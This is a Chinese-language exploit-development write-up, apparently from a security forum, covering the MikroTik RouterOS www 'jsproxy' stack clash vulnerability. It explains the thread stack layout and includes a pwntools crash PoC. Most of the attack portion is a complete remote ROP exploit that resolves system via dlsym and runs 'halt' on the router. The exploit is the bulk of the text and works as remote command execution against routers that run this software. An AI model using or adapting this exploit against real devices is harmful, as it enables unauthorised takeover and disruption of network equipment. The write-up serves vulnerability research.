前言
本文由 本人 首發于 先知安全技術社群: https://xianzhi.aliyun.com/forum/user/5274
前面已經分析完漏洞,并且搭建好了調試環境,本文将介紹如何利用漏洞寫出
exploit
正文
控制 eip
看看我們現在所擁有的能力
我們可以利用
alloca
的
sub esp *
把棧擡高,然後往 那裡寫入資料。
現在的問題是我們棧頂的上方有什麼重要的資料是可以修改的。
一般情況下,我們是沒辦法利用的,因為 棧上面就是 堆, 而他們之間的位址是不固定的。
為了利用該漏洞,需要了解一點多線程實作的機制,不同線程擁有不同的線程棧, 而線程棧的位置就在 程序的 棧空間内。線程棧 按照線程的建立順序,依次在 棧上排列。線程棧的大小可以指定。預設大概是 8MB.
寫了一個小程式,測試了一下。
#include <pthread.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#define MAX 10
pthread_t thread[2];
pthread_mutex_t mut;
int number=0, i;
void *thread1()
{
int a;
printf("thread1 %p\n", &a);
}
void *thread2()
{
int a;
printf("thread2 %p\n", &a);
}
void thread_create(void)
{
int temp;
memset(&thread, 0, sizeof(thread)); //comment1
/*建立線程*/
if((temp = pthread_create(&thread[0], NULL, thread1, NULL)) != 0) //comment2
printf("線程1建立失敗!\n");
else
printf("線程1被建立\n");
if((temp = pthread_create(&thread[1], NULL, thread2, NULL)) != 0) //comment3
printf("線程2建立失敗");
else
printf("線程2被建立\n");
}
void thread_wait(void)
{
/*等待線程結束*/
if(thread[0] !=0) { //comment4
pthread_join(thread[0],NULL);
printf("線程1已經結束\n");
}
if(thread[1] !=0) { //comment5
pthread_join(thread[1],NULL);
printf("線程2已經結束\n");
}
}
int main()
{
/*用預設屬性初始化互斥鎖*/
pthread_mutex_init(&mut,NULL);
printf("我是主函數哦,我正在建立線程,呵呵\n");
thread_create();
printf("我是主函數哦,我正在等待線程完成任務阿,呵呵\n");
thread_wait();
return 0;
}
就是列印了兩個線程中的棧記憶體位址資訊,然後相減,就可以大概知道線程棧的大小。
多次運作發現,線程棧之間應該是相鄰的,因為列印出來的值的差是固定的。
線程棧也是可以通過
pthread_attr_setstacksize
設定, 在
RouterOs
www
main
函數裡面就進行了設定。
是以在
www
中的線程棧的大小 為
0x20000
。
當我們同時開啟兩個
socket
連接配接時,程序的棧布局
此時在
線程 1
中觸發漏洞,我們就能修改
線程 2
的資料。
現在的思路就很簡單了,我們去修改 線程2 中的某個傳回位址, 然後進行
rop
.為了精确控制傳回位址。先使用
cyclic
來确定傳回位址的偏移.因為該程式線程棧的大小為
0x20000
是以用一個大一點的值試幾次就能試出來。
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)
s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause()
s1.send(cyclic(0x2000))
sleep(0.5)
pause()
s2.close() # tigger
pause()
崩潰後的位置
然後用
eip
的值去計算下偏移
然後調整
poc
測試一下
ok, 接下來就是
rop
了。
rop
程式中沒有
system
, 是以我們需要先拿到
system
函數的位址,然後調用
system
執行指令即可。
這裡采取的
rop
方案如下。
- 首先 通過
調用rop
設定我們需要的字元串(我們隻有一次輸入機會)strncpy
- 然後調用
, 擷取dlsym
的函數system
-
執行指令system
使用
strncpy
設定我們需要的字元串的思路非常有趣。 因為我們隻有一次的輸入機會,而
dlsym
和
system
需要的參數都是 字元串指針, 是以我們必須在 調用它們之前把 需要的字元串事先布置到已知的位址,使用
strncpy
我們可以使用 程式檔案中自帶的一些字元來拼接字元串。
下面看看具體的
exp
首先這裡使用 了
ret 0x1bb
用來把棧往下移動了一下,因為程式運作時會修改其中的一些值,導緻
rop
鍊被破壞,把棧給移下去就可以繞過了。(這個自己調
rop
的時候注意看就知道了。)
首先我們得設定
system
字元串 和 要執行的指令 這裡為
halt
(關機指令)。 以
system
字元串 的構造為例。
分3次構造了
system
字元串,首先設定
sys
, 然後
te
, 最後
m
.
同樣的原理設定好
halt
, 然後調用
dlsym
擷取
system
的位址。
執行
dlsym(0, "system")
即可獲得
system
位址, 函數傳回時儲存在
eax
, 是以接下來 在棧上設定好參數(
halt
字元串的位址) 然後
jmp eax
即可。
下面調試看看
首先
ret 0x1bb
, 移棧
然後是執行
strncpy
設定
system
設定完後,我們就有了
system
然後執行
dlsym(0, "system")
執行完後,
eax
儲存着
system
函數的位址
然後利用
jmp eax
system("halt")
運作完後,系統就關機了。
最後
了解了多線程的機制。 對于不太好計算的,可以猜個粗略的值,然後使用
cyclic
來确定之。
strncpy
設定字元串的技巧不錯。
dlsym(0, "system")
可以用來擷取函數位址。調試
rop
時要細心,
rop
鍊被損壞使用
ret *
之類的操作繞過之。一些不太懂的東西,寫個小的程式測試一下。
exp
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80)
s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause()
strncpy_plt = 0x08050D00
dlsym_plt = 0x08050C10
system_addr = 0x0805C000 + 2
halt_addr = 0x805c6e0
#pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# .text:08059C03 pop ebx
# .text:08059C04 pop esi
# .text:08059C05 pop ebp
# .text:08059C06 retn
ppp_addr = 0x08059C03
pp_addr = 0x08059C04
pppppr_addr = 0x080540b4
# 0x0805851f : ret 0x1bb
ret_38 = 0x0804ae8c
ret_1bb = 0x0805851f
ret = 0x0804818c
# make system str
payload = ""
payload += p32(ret_1bb) # for bad string
payload += p32(ret)
payload += "A" * 0x1bb
payload += p32(ret) # ret
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr)
payload += p32(0x0805ab58) # str syscall
payload += p32(3)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 3)
payload += p32(0x0805b38d) # str tent
payload += p32(2)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 5)
payload += p32(0x0805b0ec) # str mage/jpeg
payload += p32(1)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr)
payload += p32(0x0805670f)
payload += p32(2)
payload += "B" * 8 # padding
payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr + 2)
payload += p32(0x0804bca1)
payload += p32(2)
payload += "B" * 8 # padding
# call dlsym(0, "system") get system addr
payload += p32(dlsym_plt)
payload += p32(pp_addr)
payload += p32(0)
payload += p32(system_addr)
payload += p32(0x0804ab5b)
payload += "BBBB" # padding ret
payload += p32(halt_addr)
s1.send(cyclic(1612) + payload + "B" * 0x100)
sleep(0.5)
pause()
s2.close()
pause()
參考
https://github.com/BigNerd95/Chimay-Red